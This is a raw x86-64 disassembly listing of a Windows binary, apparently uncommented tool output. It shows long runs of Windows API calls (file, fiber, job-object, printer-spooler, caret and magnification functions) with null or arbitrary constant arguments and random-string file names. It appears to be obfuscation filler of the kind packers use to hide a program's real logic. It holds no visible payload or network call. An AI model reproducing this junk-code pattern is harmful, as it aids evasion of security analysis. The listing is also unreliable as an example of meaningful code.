movsx eax, word [0x14024f3be]
mov rcx, qword [rsp + 0xbe08]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xab60]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2b7]
mov byte [rsp + 0x30e], al
mov rcx, qword [rsp + 0xb4f0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x51c0], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
lea rcx, [rsp + 0x1aa68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
lea r8, [rsp + 0xb8f8]
mov rdx, qword [rsp + 0xc748]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4de0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc750], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xb4b0]
mov ecx, dword [rsp + 0x5188]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14024f390], eax
mov rax, qword [rsp + 0xbe38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b68]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc678]
mov byte [rcx], al
movzx eax, word [rsp + 0x7a0]
movzx ecx, word [rsp + 0x13e4]
add eax, ecx
mov word [rsp + 0x948], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx ecx, word [rsp + 0x169c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1138]
sub eax, ecx
mov word [rsp + 0x13e4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.ydtfzfQR7M_aWbOYoXPzRlpU6DDGC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc758], rax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xc2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4acc], eax
lea rcx, str.NcLb6_NiL7vj_h9CdO
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1328], ax
lea rcx, str.xc70_HU_CQ7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1448], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb328], rax
lea rax, [rsp + 0x1218]
mov qword [rsp + 0xc760], rax
movsx eax, byte [rsp + 0x30a]
movsx ecx, byte [rsp + 0x1b4]
add eax, ecx
mov byte [rsp + 0x2f5], al
movzx eax, word [rsp + 0x111c]
mov word [rsp + 0x17b0], ax
mov dword [rsp + 0x20], 0xb92
mov r9d, 0x2c95
mov r8d, 0x17d5
mov edx, 0x1bac
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x51c4], eax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d8], eax
mov rax, qword [0x14024f218]
movzx eax, byte [rax]
mov byte [0x14024ef14], al
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xbac0]
mov rcx, qword [rsp + 0xa200]
mov rax, qword [rax]
imul rax, qword [rcx]
mov rcx, qword [rsp + 0xab08]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0xbb18]
mov rax, qword [rax]
mov qword [rsp + 0xc768], rax
mov r9d, 0x23f4
xor r8d, r8d
lea rdx, [rsp + 0x9e30]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4fe4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9688]
mov rcx, qword [rsp + 0x97c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9c18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx ecx, word [rsp + 0x1448]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x17a4], ax
movzx eax, byte [rsp + 0x2ab]
cdq
and edx, 0x7f
add eax, edx
sar eax, 7
mov byte [rsp + 0x125], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1538]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16a4], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.kPb0JdQI8Fw8WYC1sGUI_bAEBu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc770], rax
mov rax, qword [rsp + 0xbe98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa160]
mov qword [rsp + 0xc778], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc778]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8410], rax
movsx eax, byte [rsp + 0x2a3]
movsx ecx, byte [rsp + 0x197]
or eax, ecx
mov byte [rsp + 0x8b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xbfe8]
movzx eax, word [rax]
mov word [rsp + 0x17b4], ax
mov eax, dword [0x14022fb5c]
mov ecx, dword [rsp + 0x49f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x48b4], eax
mov edx, 0xf45
mov rcx, qword [rsp + 0xa140]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49e4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x177c
mov r9d, 0x21b4
mov r8d, 0x150a85b2
mov edx, 2
mov rcx, qword [rsp + 0xb850]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x51c8], eax
movzx eax, word [rsp + 0x1428]
mov rcx, qword [rsp + 0xbf50]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14022fbc4], ax
lea rcx, [rsp + 0x8d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, 0x3ca
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x50fc], eax
lea rax, [rsp + 0x4eb0]
mov qword [rsp + 0xc780], rax
movzx eax, word [rsp + 0x864]
movzx ecx, word [rsp + 0x11f4]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1128]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x17b8], ax
lea rcx, [rsp + 0x1a8e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x490c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x408c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0x8e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaff8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.iTMcc6LrY93oGk64L
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc788], rax
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xaa98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x1254]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf28], ax
mov rcx, qword [rsp + 0xb378]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r9d, r9d
lea r8, [rsp + 0xc4d8]
mov rdx, qword [rsp + 0xb690]
mov rcx, qword [rsp + 0xb838]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x51cc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9cb0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, byte [rsp + 0x223]
mov byte [rsp + 0x30f], al
movzx ecx, word [rsp + 0x1694]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x17bc], ax
movzx ecx, word [rsp + 0x13b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xc1a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd28]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1398], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0x8e30]
mov qword [rsp + 0xc790], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb288]
mov eax, dword [rax]
mov dword [0x14024ef10], eax
mov rax, qword [rsp + 0xb6e8]
movzx eax, word [rax]
mov dword [rsp + 0x20], 0xa3
lea r9, [rsp + 0x93c8]
mov r8d, 0xe3
mov edx, 0x84
mov rcx, qword [rsp + 0x1a140]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0x93c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9170]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa54], ax
jmp 0x14019bd8f
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x486c], eax
mov edx, 0xa0
lea rcx, [rsp + 0x8ec8]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x9470], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x1a148]
mov rcx, qword [rsp + 0x8b68]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4898], eax
lea rax, [rsp + 0x9470]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x9170]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x87
lea rax, [rsp + 0x92a0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf9
mov r8d, 0x3e
mov edx, 0x57
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_EnumJobsW
mov dword [rsp + 0x4698], eax
mov rax, qword [rsp + 0x9218]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x270], al
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov word [rcx], ax
mov r9d, 0xbc
mov r8d, 0xe8
mov rdx, qword [rsp + 0x1a150]
mov rcx, qword [rsp + 0x9428]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x78e4], eax
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x20], rax
mov r9d, 0x5b
lea r8, [rsp + 0x9040]
mov edx, 0xf1
mov rcx, qword [rsp + 0x9130]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x487c], eax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x8b08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8410], rax
mov rcx, qword [rsp + 0x90f8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x468c], eax
mov dword [rsp + 0x28], 0x2c
lea rax, [rsp + 0x8b70]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8, qword [rsp + 0x8f00]
mov rdx, qword [rsp + 0x1a158]
mov rcx, qword [rsp + 0x91e0]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x49a4], eax
mov dword [rsp + 0x28], 0x1d
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x20], rax
mov r9d, 0x66
mov r8, qword [rsp + 0x8ca0]
mov rdx, qword [rsp + 0x91d8]
mov rcx, qword [rsp + 0x9068]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x49c4], eax
mov dword [rsp + 0x20], 0xca
lea r9, [rsp + 0xa54]
mov r8d, 0xcd
mov rdx, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x1a160]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x4670], eax
lea r9, [rsp + 0x1a258]
mov r8d, 0xde
mov rdx, qword [rsp + 0x9368]
mov rcx, qword [rsp + 0x8f38]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4678], eax
jmp 0x14019bd8f
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14024f3b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x8110]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
lea rax, [rsp + 0x8410]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x47b8]
mov qword [rsp + 0x20], rax
mov r9d, 0x1d
lea r8, [rsp + 0x1ef90]
mov edx, 0x84
mov rcx, qword [rsp + 0x92c0]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x78e8], eax
lea rax, [rsp + 0x4864]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1a328]
mov qword [rsp + 0x20], rax
mov r9d, 0x7e
lea r8, [rsp + 0x9288]
mov rdx, qword [rsp + 0x8ea8]
mov rcx, qword [rsp + 0x8fe0]
call sub.WINSPOOL.DRV_EnumPrinterDataExW
mov dword [rsp + 0x4828], eax
jmp 0x14019bdfc
mov r9d, 0x3c
lea r8, [rsp + 0x26f]
mov edx, 0xbe
mov rcx, qword [rsp + 0x1a168]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x46a8], eax
mov r8d, 0xe5
mov rdx, qword [rsp + 0x1a170]
mov rcx, qword [rsp + 0x8c90]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, word [0x14024f3c8]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0x9010]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d38]
mov qword [rcx], rax
lea r8, [rsp + 0x1a2c8]
xor edx, edx
mov rcx, qword [rsp + 0x8b98]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4688], eax
mov dword [rsp + 0x20], 0x17
lea r9, [rsp + 0x7f10]
mov r8d, 0x77
mov edx, 0x49
mov rcx, qword [rsp + 0x9440]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0x46c8], eax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9208]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8410], rax
lea rax, [rsp + 0x4664]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x3b
lea r9, [rsp + 0x9200]
lea r8, [rsp + 0x4668]
mov rdx, qword [rsp + 0x8e90]
mov rcx, qword [rsp + 0x8b28]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x48cc], eax
lea r8, [rsp + 0x8f18]
lea rdx, [rsp + 0x8ba8]
lea rcx, [rsp + 0x26f]
call sub.MAGNIFICATION.dll_MagGetFullscreenTransform
mov dword [rsp + 0x475c], eax
xor r8d, r8d
mov rdx, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8eb0]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4864], eax
lea r9, [rsp + 0x478c]
mov r8d, 0x4a
mov rdx, qword [rsp + 0x9260]
mov rcx, qword [rsp + 0x91e0]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x78ec], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x47f8], eax
mov rax, qword [rsp + 0x8e68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6d8]
shl eax, cl
mov rcx, qword [rsp + 0x8e08]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e10]
mov qword [rsp + 0x1a178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a178]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4434], eax
mov r8d, 0x9b
mov rdx, qword [rsp + 0x8eb0]
mov rcx, qword [rsp + 0x9048]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
mov eax, dword [rsp + 0x4668]
mov ecx, dword [0x14022fb68]
xor ecx, eax
mov eax, ecx
mov dword [0x14022fb5c], eax
jmp 0x14019c2c1
lea r9, [rsp + 0x91f0]
mov r8d, 0x2d
mov rdx, qword [rsp + 0x8c40]
mov rcx, qword [rsp + 0x1a180]
call sub.WINSPOOL.DRV_SetPortW
mov dword [rsp + 0x48d0], eax
lea r8, [rsp + 0x4644]
xor edx, edx
mov rcx, qword [rsp + 0x8b78]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4784], eax
mov edx, 0x3a
mov rcx, qword [rsp + 0x9348]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x9440], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov dword [rsp + 0x49a8], eax
lea r9, [rsp + 0x1a2e0]
mov r8d, 0xa3
mov rdx, qword [rsp + 0x9368]
mov rcx, qword [rsp + 0x91b8]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x478c], eax
mov dword [rsp + 0x20], 0x59
lea r9, [rsp + 0x94d0]
mov r8d, 0xa1
lea rdx, [rsp + 0x49a8]
mov rcx, qword [rsp + 0x9268]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x476c], eax
jmp 0x14019c2c1
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x7f10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x7f10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8110], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8b68]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4668], eax
mov dword [rsp + 0x20], 0x77
lea r9, [rsp + 0x8ce8]
mov r8d, 0x8a
mov rdx, qword [rsp + 0x9340]
mov rcx, qword [rsp + 0x94a0]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x4440], eax
mov r9d, 0xd3
lea r8, [rsp + 0x4884]
mov edx, 0x75
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0x4680], eax
movzx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26a], al
lea rdx, [rsp + 0x1a2c8]
mov rcx, qword [rsp + 0x8e50]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x78ec], eax
mov rax, qword [rsp + 0x8f98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
lea rax, [rsp + 0x272]
mov qword [rsp + 0x20], rax
mov r9d, 0xe6
lea r8, [rsp + 0x272]
mov edx, 0xa9
mov rcx, qword [rsp + 0x8c38]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x78f0], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
sub eax, ecx
mov word [rsp + 0xb4c], ax
lea rcx, [rsp + 0x1a298]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9508], rax
lea rax, [rsp + 0x91a8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x30
lea rax, [rsp + 0x47c4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x8b90]
mov r8, qword [rsp + 0x1a188]
mov rdx, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x9110]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x4774], eax
lea rdx, [rsp + 0x1eeb0]
mov rcx, qword [rsp + 0x8cd0]
call sub.MAGNIFICATION.dll_MagSetColorEffect
mov dword [rsp + 0x4660], eax
mov dword [rsp + 0x20], 0x6b
lea r9, [rsp + 0x272]
mov r8d, 0xe1
mov rdx, qword [rsp + 0x1a190]
mov rcx, qword [rsp + 0x8c18]
call sub.WINSPOOL.DRV_SetPrinterDataW
mov dword [rsp + 0x464c], eax
mov rax, qword [rsp + 0x8110]
mov rcx, qword [rsp + 0x7f10]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
mov r9d, 0x89
lea r8, [rsp + 0x9450]
xor edx, edx
mov rcx, qword [rsp + 0x9308]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x78e4], eax
lea r9, [rsp + 0x1a2b8]
lea r8, [rsp + 0x91b0]
xor edx, edx
mov rcx, qword [rsp + 0x1a198]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x4688], eax
mov rax, qword [rsp + 0x8e00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8ce8]
mov qword [rsp + 0x1a1a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a1a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8ce8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x271]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x273], al
lea rcx, [rsp + 0x1a288]
call qword [sym.imp.GDI32.dll_CreateBrushIndirect]
mov qword [rsp + 0x9098], rax
mov rcx, qword [rsp + 0x9190]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x78f0], eax
lea rax, [rsp + 0x8bd8]
mov qword [rsp + 0x20], rax
mov r9d, 0xc5
lea r8, [rsp + 0x8ef0]
mov edx, 0x82
mov rcx, qword [rsp + 0x8e98]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x46c8], eax
mov rax, qword [rsp + 0x9170]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa54]
or eax, ecx
mov word [rsp + 0xb4c], ax
mov dword [rsp + 0x20], 0x22
lea r9, [rsp + 0x1ed30]
mov r8d, 0xb0
lea rdx, [rsp + 0xf0c]
mov rcx, qword [rsp + 0x1a1a8]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4858], eax
lea r9, [rsp + 0x4684]
lea r8, [rsp + 0x1a2b8]
xor edx, edx
mov rcx, qword [rsp + 0x90b0]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x475c], eax
movzx eax, word [rsp + 0xeec]
movzx ecx, word [rsp + 0x6d8]
sub eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1d3], al
jmp 0x14019cad8
mov rax, qword [rsp + 0x8ce8]
mov ecx, dword [rsp + 0x4744]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4644], eax
lea rdx, [rsp + 0x1a340]
mov rcx, qword [rsp + 0x8d78]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x4804], eax
lea rcx, [rsp + 0x1ed90]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x4744], eax
mov edx, 0xa1
lea rcx, [rsp + 0x8da0]
call qword [sym.imp.GDI32.dll_CreateDIBPatternBrushPt]
mov qword [rsp + 0x8c08], rax
lea rax, [rsp + 0x1edf0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xfa
lea r9, [rsp + 0x1f310]
mov r8d, 0x88
mov rdx, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0x8b40]
call sub.WINSPOOL.DRV_GetFormW
mov dword [rsp + 0x4854], eax
lea r8, [rsp + 0x91a8]
xor edx, edx
mov rcx, qword [rsp + 0x92c8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
sub eax, ecx
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x26f]
sub eax, ecx
mov byte [rsp + 0x1d3], al
mov dword [rsp + 0x20], 0xa1
lea r9, [rsp + 0x8b78]
mov r8d, 0x7e
lea rdx, [rsp + 0x8e68]
mov rcx, qword [rsp + 0x9440]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x78f4], eax
mov rax, qword [rsp + 0x8e10]
mov ecx, dword [rsp + 0x46a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x470c], eax
lea rax, [rsp + 0x9250]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x8410]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xdf
lea r9, [rsp + 0x1f310]
mov r8d, 0x71
mov rdx, qword [rsp + 0x8db8]
mov ecx, 0x75
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x4794], eax
jmp 0x14019cad8
lea rcx, [rsp + 0x1f150]
call sub.MAGNIFICATION.dll_MagGetFullscreenColorEffect
mov dword [rsp + 0x4658], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8cf8]
mov rcx, qword [rsp + 0x7f10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9080], rax
lea r9, [rsp + 0x4764]
mov r8d, 0x6f
mov rdx, qword [rsp + 0x9148]
mov rcx, qword [rsp + 0x8ff8]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4664], eax
call qword [sym.imp.USER32.dll_DestroyCaret]
mov dword [rsp + 0x47ac], eax
mov qword [rsp + 0x20], 0x42
mov r9, qword [rsp + 0x9378]
mov r8, qword [rsp + 0x8fa8]
mov rdx, qword [rsp + 0x9240]
mov rcx, qword [rsp + 0x9400]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x9428], rax
jmp 0x14019cad8
mov rax, qword [rsp + 0x8d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x80e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9080], rax
lea rax, [rsp + 0xf04]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x8e10]
mov qword [rsp + 0x20], rax
mov r9d, 0x5d
lea r8, [rsp + 0x8bf0]
mov edx, 0x28
mov rcx, qword [rsp + 0x8c88]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x78f8], eax
lea r9, [rsp + 0x9340]
mov r8d, 0xe5
mov rdx, qword [rsp + 0x9238]
mov rcx, qword [rsp + 0x8dc0]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x4760], eax
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4738]
add ecx, eax
mov eax, ecx
